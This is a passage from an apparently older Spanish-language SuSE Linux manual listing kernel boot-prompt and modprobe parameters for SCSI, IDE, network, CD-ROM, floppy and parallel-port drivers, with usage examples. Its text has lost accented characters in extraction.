as el kernel no arrastra ningn tipo de lastre. El kernel del disquete
de arranque de SuSE trabaja a base de mdulos y as resulta til para la
mayora de las computadoras.
Algunos drivers an no existen como mdulos.

Independientemente de la ubicacin de los drivers (fijos en el kernel o car-


gables como mdulos), es posible que existan componentes que el kernel no
sea capaz de reconocer por s mismo. Para tal caso existe la posibilidad de
especificar ms exactamente el componente, pasando parmetros adicionales
al kernel.
En el caso de un kernel monoltico se deben pasar los parmetros al ker-
nel a travs de un bootloader1. Los drivers en forma de mdulos reciben
sus parmetros mediante los comandos insmod o modprobe, que cargan si-
multneamente el mdulo.
El formato de indicacin de los parmetros para los drivers en forma de m-
dulos, lamentablemente es diferente al de los drivers incorporados al kernel,
por lo cual ms adelante se detallan estos parmetros minuciosamente. Para
algunos mdulos (lectores CD-ROM) el traspaso de los parmetros ya fue
1 Por eso estos parmetros tambin se denominan parmetros de LILO, por el bootloader

tradicional de la arquitectura x86.

317
14. Parmetros del kernel

unificado, as que se pueden usar los mismos parmetros si se est cargando


un mdulo o pasando un parmetro al prompt del LILO.

14.2 Algunos consejos


Antes de que aparezcan las listas con los parmetros, le damos un par de
consejos acerca del reconocimiento de hardware por parte de los drivers, la
indicacin de parmetros y el arranque con el disquete de arranque de SuSE:
 La mayora de los drivers son capaces de realizar un autoprobing, o sea, el
driver va probando diferentes direcciones en las que se encuentra general-
mente el hardware. Haciendo esto, es posible que el driver encuentre un
componente del cual no se encarga y que lo inicie equivocadamente, por
lo tanto es posible tambin que la computadora se detenga (se cuelgue).
 Tambin puede ocurrir que un mdulo se cargue exitosamente aunque el
hardware para el que fue diseado no est presente en la computadora
(esto pasa sobre todo con los drivers para las tarjetas de red de 3 Com).
Sin embargo, por razones de simplicidad, pruebe primero con el auto-
probing. Los drivers que se cargan mal se pueden descargar sin proble-
mas. Si el hardware no se reconoce bien se puede intentar pasar parmet-
ros al kernel para que ste pueda reconocer correctamente el componente
en cuestin.
 Finalmente existen algunos componentes para los que existen varios
drivers ( NCR 53C810, Ultrastor). Segn la informacin que ten-
emos, entre los dos Ultrastor-drivers no existe una ventaja importante
del uno sobre el otro. El BSD-driver para el NCR53C819 soporta tam-
bin los dems productos NCR53C8xx (p. ej. 53C875) mientras que el
NCR-driver antiguo soporta grabadoras de CD. En caso de duda pruebe
simplemente cul es el driver apropiado para el soporte de su hardware.
  est en la tecla de  y el ; se oculta
En el momento del arranque, la distribucin norteamericana del teclado
an est activa, por lo tanto el =   
 
bajo la tecla  
, etc. La distribucin del teclado se ve en la Figura 14.1.

Figura 14.1: La distribucin del teclado norteamericano

318
14.3. Los parmetros

14.3 Los parmetros


14.3.1 Anotacin y significado
Las siguientes listas de parmetros del kernel, presentadas en orden alfabti-
co, mencionan los distintos dispositivos y sus respectivos drivers junto con
los parmetros necesarios o admitidos. Los siguientes parmetros siempre
aparecen con el mismo significado que se detalla a continuacin:

<addr> identificacin de puerto hexadecimal, (p. ej. 0x300)


<irq> Interrupcin para el acceso al dispositivo (p. ej. 7)
<dma> canal DMA a travs del cual se comunica el disposi-
tivo, (p. ej. 1)
< startaddress>,
< endaddress> zona de memoria hexadecimal para shared memory

Tabla 14.1: Nombres de variables para parmetros del kernel de uso


frecuente

A continuacin se explican sobre todo los parmetros importantes para una


instalacin exitosa y no aquellos que pueden servir para fines muy especiales.
Al indicar parmetros se debe tener en cuenta la diferencia entre maysculas
y minsculas.
Despus de la instalacin se encuentra una introduccin sobre todas las posi-
bilidades de los parmetros del kernel en el BootPrompt-HOWTO del di-
rectorio /usr/doc/howto y junto con las fuentes del kernel en el fichero
/usr/src/linux/Documentation/kernel-parameters.txt.

14.3.2 Parmetros del kernel en el Boot-Prompt

Los parmetros que se mencionan en este apartado solo se pueden pasar


directamente al kernel, p. ej. al prompt de SYSLINUX (en caso del disquete
de arranque suministrado), al prompt de LILO o mediante loadlin. Si desea
usar el driver en cuestin como mdulo, consulte los parmetros aplicables
en este caso en el (apartado 14.3.4).

Todos los parmetros importantes para un driver se deben indicar uno trs
otro, separados por comas! No se debe agregar jams un espacio entre los
parmetros!

Para indicar p. ej. los parmetros del driver aha1542 en el Bootprompt, se


introduce lo siguiente (al comienzo siempre se indica el nombre del fichero
que contiene el kernel; en los disquetes de arranque de SuSE el kernel se
llama linux!):
linux aha1542=0x300

319
14. Parmetros del kernel

Parmetros de arranque generales


Parmetros Mediante algunos parmetros generales es posible influir en el compor-
generales tamiento general del kernel de Linux.
 Modo de reinicio (saliendo de Linux)
reboot=<modo>
donde <modo> puede tener los siguientes valores:

variable valores / significado


< modo> warm Reinicio en caliente (sin test de memoria)
cold Reinicio en fro (con test de memoria)
bios Reinicio por BIOS
hard Reinicio por CPU-Crash (triple fault)
Ejemplo: reboot=cold
inicia la computadora despus del shutdown de Linux como si se hu-
biera pulsado la tecla Reset.

 Proteccin de rangos E/S (Reservar)


reserve=<start1>,<ancho1>,...,<startN>,<anchoN>
Con este parmetro se pueden reservar rangos de E/S (entrada/salida) para
el hardware que no resista el autoprobing, reaccionando p. ej. con un
cuelgue del sistema.
Ejemplo: Con el comando:
reserve=0x330,32 ether=5,0x330,eth0
se puede proteger una tarjeta de red sensible al autoprobing sin dejar de
inicializarla. En el ejemplo dado la tarjeta tiene un rango de E/S de un
ancho de 32 byte, que comienza a partir de la direccin de memoria 0x330
y el valor de la interrupcin es 5.
El significado de los parmetros de tarjetas de red se explica en el aparta-
do 14.3.2, Pgina 328.

 Indicar particin raz


root=<particin>

variable valores / significado


< particin> p. ej. /dev/hda1, /dev/sdb5
Ejemplo: root=/dev/hda5
arranca el kernel e intenta montar la particin raz del primer disco lgico
en la particin extendida del primer disco duro (E)IDE.

 Cantidad de memoria RAM (RAM)


mem=<cantidad> Puede indicar la cantidad de memoria en bytes,
kilobytes o megabytes. Los ejemplos muestran las diferentes anotaciones
para 96 MB de RAM.
Ejemplos:

320
14.3. Los parmetros

mem=96M
mem=98304k
En raras ocasiones es posible que la placa base o el chipset no puedan lib-
erar toda la memoria ya que usan una cierta cantidad para fines propios
(pueden ser hasta 512 K). Con el mtodo de prueba y error sera posible
determinar la cantidad exacta, pero para simplificar se puede suponer que
se trata de 512 K; en nuestro ejemplo es lo siguiente:
mem=5ff8000
Si la computadora es un Pentium clnico, el comando
mem=nopentium
puede hacer que trabaje una computadora que antes no funcionaba.

Controladoras SCSI y el SCSI-subsistema

Se puede influir en la mayora de las controladoras SCSI a travs de los Controladora


parmetros. SCSI

 Unidades de cinta SCSI (Streamer)


st=<bfer>,<barrera>[,<max>]

variable valores / significado


< bfer> Tamao del bfer (nmero de bloques de 1 KB)
< barrera> Limite de escritura (nmero de bloques de 1 KB)
(ingl. write threshold)
< max> Nmero mximo de bferes opcional (p. ej. 2)

Ejemplo: st=1000,2000

 Nmero de dispositivos SCSI por ID


max_scsi_luns=<nmero>

variable valores / significado


< nmero> 1..8

Ejemplo:
Si solo desea usar explcitamente el primer LUN (ingl. logical unit num-
ber), se debe definir el parmetro como: max_scsi_luns=1.
Una aplicacin tpica son los lectores con mltiples CDs, para los
que el nmero de CDs utilizables es igual al valor del parmetro
max_scsi_luns.

 Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor


aha152x=<addr>,<irq>,<id>[,<rec>[,<par>[,<sync>[,
<delay>[<ext_trans>]]]]]

321
14. Parmetros del kernel

variable valores / significado


<id> (SCSI-ID del hostadaptor) ID del hostadaptor, normal 7
<rec> (reconnect) 0, 1
<par> (parity) 0, 1 comprobacin de paridad
<sync> (synchronous) 0, 1 transferencia sincrnica
< delay> 100 retardo de bus, valor estndar
< ext_trans> 0, 1 C/H/S-transformacin

Este driver permite usar muchas controladoras SCSI de bajo coste. Por
ejemplo, todas las tarjetas de sonido con controladora SCSI (aparte de
la Pro Audio Spectrum) incorporan uno de estos chips de Adaptec y se
pueden usar con este driver.

Para todas las 152x no originales, es posible que se necesite siempre el


cuarto parmetro (RECONNECT) para hacerlas funcionar y este parmetro
debe estar para casi todos los tipos en `0', solamente la controladora
AHA2825 necesita el valor `1'.

Ejemplo: aha152x=0x300,10,7

 Adaptec AHA-1540 / 1542 SCSI-hostadaptor

aha1542=<addr>[,<buson>,<busoff>[,<DMA speed>]]

variable valores / significado


<buson> 2..15
<busoff> 1..64
<DMA speed> 5,6,7,8,10

Ejemplo: aha1542=0x300

 Adaptec AHA-274x / 284x / 294x hostadaptor

aic7xxx=<modifier>[,<modifier>[, ::: ]]

322
14.3. Los parmetros

variable valores / significado


< modifier> extended
activa la transformacin de la geometra de disco
no_reset
evita resetear el Bus SCSI en la inicializacin
de la controladora SCSI
irq_trigger:<x>
Solo para sistema con bus Eisa
0: control por flanco del impulso,
1: control por nivel de impulso
verbose
Para recibir ms mensajes.
reverse_scan
Cuando la BIOS trata varias tarjetas
en orden equivocado.
7895_irq_hack:<x>
-1 solo para placas madre Tyan II
pci_parity:<x>
sin definir pci_parity, la
paridad es par:
0 sin control de paridad
1 paridad impar
tag_info:
Administracin de colas para aumentar rendimiento,
para expertos, ver las fuentes del kernel

Ejemplo: aic7xxx=no_reset,
si la computadora se detiene reseteando el bus SCSI.
Para controladoras SCSI a base de aic7xxx solo se necesitan parmetros
si su funcionamiento es errneo o insatisfactorio.
La controladora AHA-2940 AU solo funciona bien a partir de la ver-
sin 1.3 de la BIOS; el soporte de Adaptec proporciona actualizaciones.
La controladora Adaptec 2920 no funciona con este driver, sino con el
Future Domain-Driver (apartado 14.3.2, Pgina 324)!

 AdvanSys SCSI-hostadaptor
advansys=<addr1>,<addr2>,...,<addr4>,<debug_level>
Ejemplo: advansys=0x110,0x210
Este ejemplo indica al kernel que busque la controladora AdvanSys bajo
las direcciones sealadas.

 AM53/79C974 SCSI-hostadaptor
AM53C974=<host-id>,<target-id>,<rate>,<offset>

323
14. Parmetros del kernel

variable valores / significado


<host-id> SCSI-ID de la controladora, tpico 7
<target-id> SCSI-ID del dispositivo 0..7
<rate> 3,5,10 Mbit/s mxima tasa de transferencia
<offset> Modo de transf.; 0 = asncrono
Cuando parece que la controladora se atraganta con el flujo de datos, se
puede reducir la tasa mxima de transferencia para un dispositivo (p. ej.
la primer unidad CD-ROM-SCSI /dev/scd0 con ID 5) en la cadena:
Ejemplo: AM53C974=7,5,3,0
Se puede indicar una tasa y un modo de transferencia propios para cada
dispositivo, as que AM53C974=x,x,x,x puede aparecer hasta siete veces
para una controladora.

 BusLogic SCSI-hostadaptor
BusLogic=<addr>
BusLogic=<probing>
Ejemplo: BusLogic=0x300

variable valores / significado


< addr> Direccin de la controladora, p. ej. 0x300
< probing> NoProbe No buscar la controladora
NoProbeISA No buscar la controladora ISA
NoProbePCI No buscar la controladora PCI
NoSortPCI La BIOS determina el orden de
las controladoras Multimaster
MultiMasterFirst Multimaster por delante
de Flashpoint
FlashPointFirst Flashpoint por delante
de Multimaster
InhibitTargetInquiry Para dispositivos antiguos
que tienen problemas con scsi_luns > 0
TraceProbe mensajes adicionales
cuando la controladora se inicializa
TraceHardwareReset mensajes adicionales
en un reset por hardware de la controladora
TraceConfiguration mensajes adicionales
en la configuracin de la controladora
TraceErrors mensajes de error de los
dispositivos conectados
Debug todos los mensajes
Para esta controladora hay ms parmetros de configuracin que sirven
para afinar su ajuste. Se explica en /usr/src/linux/drivers/scsi/
README.BusLogic.

 Future Domain TMC-16x0-SCSI-hostadaptor


fdomain=<addr>,<irq>[,<id>]

324
14.3. Los parmetros

variable valores / significado


< id> SCSI-ID de la controladora 0..7

Se usa este driver tambin para la controladora SCSI Adaptec 2920.


Ejemplo: fdomain=0x140,11,7

 Future Domain TMC-885/950-hostadaptor


tmc8xx=<addr>,<irq>
Ejemplo: tmc8xx=0xca000,5

 Familia de NCR 5380 SCSI-hostadaptor


ncr5380=<addr>,<irq>,<dma>
Ejemplo: ncr5380=0x340,10,3

 Familia de NCR 53c400 SCSI-hostadaptor


ncr53c400=<addr>,<irq>
Ejemplo: ncr53c400=0x350,5
Este driver puede trabajar p. ej. con la controladora Trantor T130B, que
tiene una difusin amplia.

 Familia de NCR 53c406a SCSI-hostadaptor


ncr53c406a=<addr>[,<irq>[,<fastpio>]]

variable valores / significado


< fastpio> 0, sin uso de un modo-PIO rpido

Ejemplo: ncr53c406a=0x330,10,0

 Seagate ST01/02 SCSI-hostadaptor


st0x=<addr>,<irq>
Ejemplo: st0x=0xc8000,5

 Trantor T128/128F/228 SCSI-hostadaptor


t128=<addr>,<irq>
Ejemplo: t128=0x340,10

Controladoras (E)IDE-Controller y dispositivos ATAPI


Hay muchos parmetros a disposicin para configurar los dispositivos conec- Controladoras
tados. (E)IDE
Dispositivos
 ATAPI-CD-ROM en la controladora (E)IDE ATAPI
hd<x>=cdrom
hd<x>=serialize

325
14. Parmetros del kernel

variable valores / significado


x
< > a, b, c, d, donde:
a Maestro en 1a controladora IDE
b Esclavo en 1a controladora IDE
c Maestro en 2a controladora IDE
d Esclavo en 2a controladora IDE
Ejemplo:
Un lector CD-Rom como maestro en la segunda controladora se anuncia
con hdc=cdrom.

 Disco duro
hd<x>=<cilindro>,<cabezal>,<sector>[,<escribe>[,<irq>]]

variable valores / significado


x
< > a, b, : : : , h 1o a 8o disco duro
<cilindro> nmero de cilindros
<cabezal> nmero de cabezales
<sector> nmero de sectores
<escritura> cilindro a partir del cual se aplica
la compensacin de escritura
< irq> Interrupcin
Si la BIOS es un poco antigua, es posible que no se reconozca bien la
geometra del disco. En tal caso se puede pasar los parmetros correctos
al kernel para que ste la pueda reconocer correcta- y completamente.
Ejemplo: hdc=1050,32,64
hd<x>=<trouble>

variable valores / significado


x
< > a, b, : : : , h 1o a 8o disco duro
< trouble> noprobe, si hay problemas con la
comprobacin de un disco duro
none ignorar la entrada en la CMOS y no probar
nowerr ignorar WREE_STAT-Bit
cdrom no reconocido o reconocido como disco
o fallo en arranque
autotune uso del modo PIO ms rpido
slow despus de cada acceso se introduce
una pausa larga, lo que realmente ralentiza mucho
pero a veces es el ltimo recurso.
Si un lector de CD-Rom no se reconoce bien, la indicacin de <cdrom>
puede introducir el dispositivo correctamente al sistema.
Ejemplo: hdd=cdrom

 Chipsets de controladoras EIDE


ide0=<Chipset>

326
14.3. Los parmetros

Hay algunas controladoras EIDE con chipsets defectuosos o con proble-


mas a la hora de usar la segunda controladora.
Por lo cual ya existe para muchas de ellas un soporte especial en el kernel
que se debe activar con uno de sus parmetros.
Estn soportados los siguientes chipset problemticos:

CMD 640 Este chipset se encuentra en muchas placas


base y tiene bastantes defectos, por lo cual
el kernel incorpora un soporte especial que lo
reconoce para evitar problemas. Adems, en
muchos casos, solo por el cdigo especial se
puede usar la segunda controladora. El chipset
se reconoce automticamente en sistemas PCI,
pero en aquellos a base de VLB hay que poner
el parmetro de kernel: ide0=cmd640_vlb.
RZ 1000 Este chip se usa en muchas placas base con
chipset Neptun siendo defectuoso, sin embar-
go, al activar de su soporte, el sistema deja de
presentar errores aunque trabaje un poco ms
lento. No se precisa de ningn parmetro del
kernel para activarlo.
DTC-2278 Es preciso activar este driver especial mediante
el comando ide0=dtc2278 para poder usar la
segunda controladora.
Holtek HT6560B Para activar la segunda controladora se necesi-
ta el siguiente parmetro: ide0=ht6560b.
QDI QD6580 Con este driver se consigue mayor velocidad
de transferencia: ide0=qd6580.
UMC 8672 Para activar la segunda controladora se necesi-
ta el siguiente parmetro: ide0=umc8672.
ALI M1439/M1445 Para activar la segunda controladora se necesi-
ta el siguiente parmetro: ide0=ali14xx.
PROMISE DC4030 Para activar la segunda controladora se nece-
sita el siguiente parmetro: ide0=dc4030.
Lectores CD-ROM y unidades de cinta
(streamer) an no estn soportados!

Tabla 14.2: Chipsets EIDE especiales

Si el chipset no se encuentra entre los reconocidos como defectuosos pero


tampoco se reconoce bien, se puede pasar los siguientes parmetros en
lugar de los anteriormente mencionados:
ide<nmero>=<base>[,<control>[,<irq>]]

327
14. Parmetros del kernel

variable valores / significado


< nmero> nmero controladora,
normalmente 0 o 1, pero tambin 3 o 4
< base> direccin base de la controladora,
normalmente 0x1f0, 0x170, 0x1e8 o 0x168
< control> registro de control de la controladora,
normalmente 0x3f6, 0x376, 0x3ee o 0x36e
< irq> interrupcin de la controladora,
normalmente 14, 15, 11 o 10
Si el chipset no se encuentra entre los reconocidos como defectuosos, no
se reconoce bien y adems los problemas persisten, se puede pasar los
siguientes parmetros en lugar de los anteriormente mencionados:
ide<nmero>=<tune>

variable valores / significado


< nmero> Nmero de controladora, normalmente 0 o 1,
pero tambin 3 o 4
< tune> autotune para conseguir el modo PIO ms rpido
no lo soportan todos los chipsets
noautotune sin bsqueda del mejor PIO
serialize sin simultaneidad de operaciones
de la siguiente controladora
Si desea obtener mxima velocidad con un chipset que no est en la lista
de los defectuosos, se puede indicar la velocidad del bus como parmetro
adicional; para conocerla consulte el manual de su placa base.
idebus=<speed>

Otros dispositivos
Tarjeta de red
Disquetera  Tarjeta de red Ethernet
ether=<irq>,<addr>[,<par1>[,<par2>...<par8>]],<nombre>

Los distintos parmetros desde <par1> hasta <par8> pueden tener


un significado diferente segn el driver. Como mximo se indican dos
parmetros de los que el primero es la direccin del comienzo del rango de
memoria compartida (shared memory) y el segundo es el final del rango.
El primer argumento no numrico se trata como el nombre.

<irq> Interrupcin usada; 0 para autoprobing.


<addr> Direccin de puerto; 0 para autoprobing.
<start> Direccin del comienzo del rango de memoria com-
partida. Algunos drivers usan los 4 bits bajos para
el debug-level; el Lance-driver usa estos bits para el
canal DMA.

328 Tabla 14.3: Contina en la pgina siguiente ...


14.3. Los parmetros

< end> Direccin del fin del rango de memoria compartida; el


3COM 3c503-driver usa este parmetro para distin-
guir entre transceptores internos y externos.
< xcvr> Tipo de transceptor.
La tarjeta Cabletron E21XX usa los 4 bits bajos para
seleccionar el medio.
< nombre> Nombre de la interfaz (tpicamente eth0).

Tabla 14.3: Variables de tarjetas de red Ethernet

La aplicacin ms frecuente de este parmetro es la de comunicar al


kernel que existe ms de una tarjeta para ser reconocida; normalmente
solo busca una tarjeta red y para que busque dos se puede usar el comando:

ether=0,0,eth1

Observe que al indicar 0 para la interrupcin se solicita al driver efectuar


el autoprobing, con lo cual prueba automticamente diferentes valores.

 Disquetera
floppy=<drive>,<type>,cmos

variable valores / significado


< drive> 0, 1, 2, 3
< type> 0 - Adopcin de valores de la CMOS
1 - 5.25-pulgadas DD, 360 KB
2 - 5.25-pulgadas HD, 1,2 MB
3 - 3.5-pulgadas DD, 720 KB
4 - 3.5-pulgadas HD, 1,44 MB
5 - 3.5-pulgadas ED, 2,88 MB
6 - 3.5-pulgadas ED, 2,88 MB
16 - desconocido o no instalado
floppy=<valor>
La variable <valor> puede tener los siguientes valores (Tabla 14.4):

one_fdc exactamente una disquetera


asus_pci evita el acceso a la 3a o 4a dis-
quetera
daring aumenta las prestaciones para con-
troladoras no problemticas
0,daring lo contrario de daring

Tabla 14.4: Contina en la pgina siguiente ...


329
14. Parmetros del kernel

[<addr>,]two_fdc Si no se da ningn valor a


<addr> y hay dos controladoras

de disquete, la segunda recibe la


direccin de puerto 0x370.
thinkpad computadoras- IBM Thinkpad
0,thinkpad no es computadora- Thinkpad
omnibook computadoras Omnibook de HP
nodma para computadoras Omnibook
dma estndar
nofifo en caso que aparezca "Bus mas-
ter arbitration error"
fifo estndar
0xX,fifo_depth barrera FIFO estndar 0xA
unexpected_interrupts Alertar cuando salen interrup-
ciones inesperadas.
no_unexpected_interrupts Este es el contrario de
unexpected_interrupts
L40SX Lo mismo de arriba

Tabla 14.4: Valores para el parmetro de kernel floppy

 Busmouse de Logitech
bmouse=<irq>

 Controladora de disco duro XT


xd=<tipo>,<irq>,<addr>,<dma>

14.3.3 Lectores CD-ROM en controladora propietaria


CD-ROM
antiguo  Aztech CDA268-01 CD-ROM
aztcd=<addr>[,0x79]
Solo hace falta indicar el valor 0x79 en caso de no conocer la versin del
firmware.
Ejemplo: aztcd=0x320

 Goldstar R420-CD-ROM
gscd=<addr>

 Mitsumi-CD-ROM
mcd=<addr>,<irq>[,<wait>]

variable valores / significado


< wait> Valor para el tiempo de espera del arranque

330
14.3. Los parmetros

Se puede variar el parmetro <wait> entre 0 y 10, si el CD-ROM no


reacciona suficientemente rpido a peticiones del sistema ("timeout"),
por lo que es posible que no se encuentre el Rootimage durante la insta-
lacin.
Ejemplo: mcd=0x300,10,5

 Mitsumi-CD-ROM (Multisession)
mcdx=<addr>,<irq>[,<addr>,<irq>]
Ejemplo: mcd=0x300,10
Se soportan hasta 5 lectores

 Mozart Interface
isp16=[<addr>[,<irq>[,<dma>]]][[,]<tipo>]

variable valores / significado


< tipo> Sanyo, Panasonic, Sony, Mitsumi

Este driver da soporte a lectores CD-ROM conectados a una tarjeta de


sonido del nombre ISP16, MAD16 o Mozart. El valor de la variable
<tipo> resulta del conector en la tarjeta de sonido a la que esta conec-

tado el lector CD-ROM.


Ejemplo: isp16=0x340,10,3,Sony

 Optics Storage 8000 AT CD-ROM


optcd=<addr>
Ejemplo: optcd=0x340

 Philips CM206 CD-ROM


cm206=<addr>,<irq>
Ejemplo: cm206=0x340,10

 Pro Audio Spectrum 16 - SCSI-hostadaptor


pas16=<addr>,<irq>
Sobre la tarjeta de sonido Pro Audio Spectrum 16 se encuentra una con-
troladora SCSI cuyas ajustes se pueden pasar al kernel con este parmetro.
Ejemplo: pas16=0x340,10
Si la tarjeta no se reconoce bien se puede usar sin interrupcin. En tal
caso, la interrupcin toma el valor 255.
Ejemplo: pas16=0x340,255

 Sanyo CD-ROM
sjcd=<addr>
Ejemplo: sjcd=0x340

331
14. Parmetros del kernel

 Sony CDU 31/33 A


cdu31a=<addr>,<irq>[,PAS]
En el caso de este driver, el kernel ya no efecta ms el autoprobing, as
que la indicacin de los parmetros es obligatoria.
Ejemplo: cdu31a=0x340,5
Si no hay ninguna interrupcin prevista para esta unidad, solo se puede
acceder a ella por polling; en tal caso el valor IRQ debe ser 0.
Ejemplo: cdu31a=0x340,0
Si este lector esta conectado a una tarjeta Pro Audio Spectrum, el
parmetro podra ser el siguiente:
Ejemplo: cdu31a=0x1f88,0,PAS

 Sony CDU 535


sonycd535=<addr>,<irq>
Ejemplo: sonycd535=0x340,10

 Soundblaster Pro 16 MultiCD


sbpcd=<addr>,<tipo>

variable valores / significado


< tipo> LaserMate, SPEA, SoundBlaster, SoundScape, Teac 16bit

Ejemplo: sbpcd=0x230,SoundBlaster

El puerto paralelo
Puerto
paralelo  Puerto paralelo
parport=<addr0>,[<irq0> [parport=<addr1>,[<irq1>
[parport=<addr2>,[<irq2>]]]]]

variable valores / significado


< addrX> Direccin
< irqX> Interrupcin

Ejemplo: parport=0x3bc parport=0x378,7 parport=0x278,auto

 Impresora en el puerto paralelo


lp=<parport0> [lp=<parport1> [lp=<parport2>]]

variable valores / significado


< parportX> Puerto paralelo

Ejemplo: lp=parport0 lp=parport2

332
14.3. Los parmetros

14.3.4 Parmetros de modprobe


En este apartado se mencionan los parmetros que se pueden usar cuando
un driver se carga como mdulo. Si no fuera posible cargar un determinado
driver con ningn parmetro, se tendr que integrar en un kernel monoltico.
Algunos drivers todava no existen como mdulos y otros solo reconocen
bien el hardware cuando forman parte del kernel. En todo caso es recomend-
able probar en un principio si el driver en cuestin puede ser cargado como
mdulo.
Si un driver se carga como mdulo, todas las variables que se usan interna-
mente pueden ser modificadas mediante los valores en la lnea de comando.
Por ejemplo, el driver para tarjetas NE2000 usa la variable io para especificar
el rango de entrada y salida (I/O) ocupado por la tarjeta. El comando correcto
para cargar este mdulo es (ver tambin el apartado 13.2, Pgina 310):
tierra:/ # insmod ne io=0x300 irq=10
o mejor con modprobe:
tierra:/ # modprobe ne io=0x300 irq=10
No se debe agregar ningn espacio por delante o por detrs del `=' cuando se
estn indicando parmetros. Adems, los valores hexadecimales deben llevar
siempre por delante un `0x'.

En caso de indicar varios parmetros para un solo driver, estos deben


estar separados con espacios! Se trata de una diferencia fundamental en
comparacin al traspaso de parmetros en el prompt de LILO, ya que en
ste no debe aparecer ningn espacio entre los parmetros de un driver.

Los parmetros que se indican a continuacin, se pueden pasar al fichero


/etc/conf.modules. En este, es posible indicar para cada mdulo una
serie de parmetros que se colocan en lneas individuales. Una lnea de tales
caractersticas es la siguiente:
options <nombre_mdulo> <parm1>=<valor1> ...
donde:

variable valores / significado


<nombre_mdulo> Nombre del mdulo sin extensin .o
<parm1> Parmetro 1
<valor1> Valor, asignado al parmetro 1

La entrada para la tarjeta NE2000 del ejemplo de arriba sera entonces:


options ne io=0x300 irq=10
A partir de aqu se apuntan los parmetros ms importantes para la mayora
de los mdulos.

Controladoras SCSI y el SCSI-subsistema


 Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor
Nombre del mdulo: aha152x.o

333
14. Parmetros del kernel

variable valores / significado


<io> < addr>
<irq> < irq>
<id> SCSI-ID de controladora; por defecto 7
<rec> reconnect; 0, 1
<par> parity; 0, 1
<sync> modo de operacin sincrnico; 0, 1
<translat> Transformacin de geometra de disco; 0, 1

Igual al prompt de LILO:


Ejemplo: modprobe aha152x aha152x=0x340,10,7,1,1,0,0,0
Para una segunda controladora:
Ejemplo: modprobe aha152x aha152x1=0x140,12,7,1,1,0,0,0

 Future Domain TMC-16x0-hostadaptor


Nombre del mdulo: fdomain.o
Esta controladora funciona tambin con la controladora SCSI Adaptec 2920.
fdomain=<addr>,<irq>[,<id>]

variable valores / significado


<addr> <addr>
<irq> <irq>
<id> <id>

Como en el prompt de LILO:


Ejemplo: modprobe fdomain fdomain=0x140,11,7

 NCR 5380 bzw. NCR 53C400 SCSI-Hostadaptorfamily


Nombre del mdulo: g_NCR5380.o

parmetros valores
ncr_addr < addr>
ncr_irq < irq>; apapar con 255
ncr_dma <dma>

ncr_5380 1 para el tipo NCR5380


ncr_53c400 1 para el tipo NCR53C400

Para la controladora NCR5380:


Ejemplo: modprobe g_NCR5380 ncr_irq=5 ncr_addr=0x350
ncr_5380=1
Para la controladora NCR53C400 con interrupciones apagadas:
Ejemplo: modprobe g_NCR5380 ncr_irq=255 ncr_addr=0xc8000
ncr_53c400=1
Este driver funciona tambin con la controladora Trantor T130B que
tiene amplia difusin.

334
14.3. Los parmetros

Tarjetas de red
 3Com 3c501 / 3c503 / 3c505 / 3c507 tarjetas de red
Nombre del mdulo: 3c501.o,3c503.o,3c505.o,3c507.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe 3c505 io=0x300 irq=10

 3Com 3c509 / 3c579 tarjetas de red


Nombre del mdulo: 3c509.o

parmetros valores
irq < irq>
xcvr 0: interno; 1: externo
Ejemplo: modprobe 3c509 irq=10 xcvr=0

 3Com 3c515 tarjeta de red


Nombre del mdulo: 3c515.o
Ejemplo: modprobe 3c515

 3Com 3c59x / 3c90x tarjetas de red (Vortex/Boomerang)


Nombre del mdulo: 3c59x.o
En el caso de las computadoras Compaq (PCI) se pueden probar los sigu-
ientes parmetros:

parmetros valores
compaq_ioaddr <addr>
compaq_irq <irq>
compaq_prod_id <id>

Ejemplo: modprobe 3c59x compaq_irq=10

 Allied Telesis AT1700 tarjeta de red


Nombre del mdulo: at1700.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe at1700 io=0x300 irq=10

 Cabletron E21xx tarjeta de red


Nombre del mdulo: e2100.o

335
14. Parmetros del kernel

parmetros valores
io < addr>
irq < irq>
mem <addr>

xcvr 0: interno; 1: externo

Ejemplo: modprobe e2100 io=0x300 irq=10 mem=0xd000 xcvr=0

 Digital DE425 / 434 / 435 / 450 / 500 tarjetas de red


Nombre del mdulo: de4x5.o
io=0x<bus><id-dispositivo>

parmetros valores
bus Nmero del bus PCI, normal 0
id-dispositivo Nmero del dispositivo PCI

Estos datos se muestran durante el arranque cuando la PCI-BIOS es rel-


ativamente nueva. En Linux se pueden ver con:
tierra: # cat /proc/pci

Ejemplo: modprobe de4x5 io=0x007

 Digital DEPCA / DE10x / DE20(012) / DE42, EtherWORKS tarjetas de


red
Nombre del mdulo: depca.o

parmetros valores
io <addr>
irq <irq>
mem <mem>

adaptor_name <Nombre> z.B. DEPCA,

de100, de101,
de200, de201,
de202, de210,
de422

Ejemplo: modprobe depca io=0x300 irq=10

 EtherWORKS 3 (DE203, DE204, DE205) tarjetas de red


Nombre del mdulo: ewrk3.o

parmetros valores
io < addr>
irq < irq>

Ejemplo: modprobe ewrk3 io=0x300 irq=10

336
14.3. Los parmetros

 Intel EtherExpress 16 tarjeta de red


Nombre del mdulo: eexpress.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe eexpress io=0x300 irq=10

 Intel EtherExpressPro tarjeta de red


Nombre del mdulo: eepro.o

parmetros valores
io <addr>
irq <irq>
mem <addr>

Ejemplo: modprobe eepro io=0x300 irq=10 mem=0xd000

 Intel EtherExpressPro 100 tarjeta de red


Nombre del mdulo: eepro100.o
La tarjeta Intel EtherExpressPro incorpora los chips i82557/i82558.

parmetros valores
options <Modo dplex y>
<Bus-transceptor>
16 Operacin en dplex
32 Solo operacin en 100 MBit
64 Solo operacin en 10 MBit
Ejemplo: modprobe eepro100 options=48
Con este ejemplo se establece operacin dplex y operacin en 100 Mbit
al mismo tiempo (48 = 32 + 16).

 Fujitsu FMV-181/182/183/184 tarjetas de red


Nombre del mdulo: fmv18x.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe fmv18x io=0x300 irq=10

 HP PCLAN+ (27247B and 27252A) tarjeta de red


Nombre del mdulo: hp-plus.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe hp-plus io=0x300 irq=10

337
14. Parmetros del kernel

 HP PCLAN (27245 / 27xxx)


Nombre del mdulo: hp.o

parmetros valores
io < addr>
irq < irq>
Ejemplo: modprobe hp io=0x300 irq=10

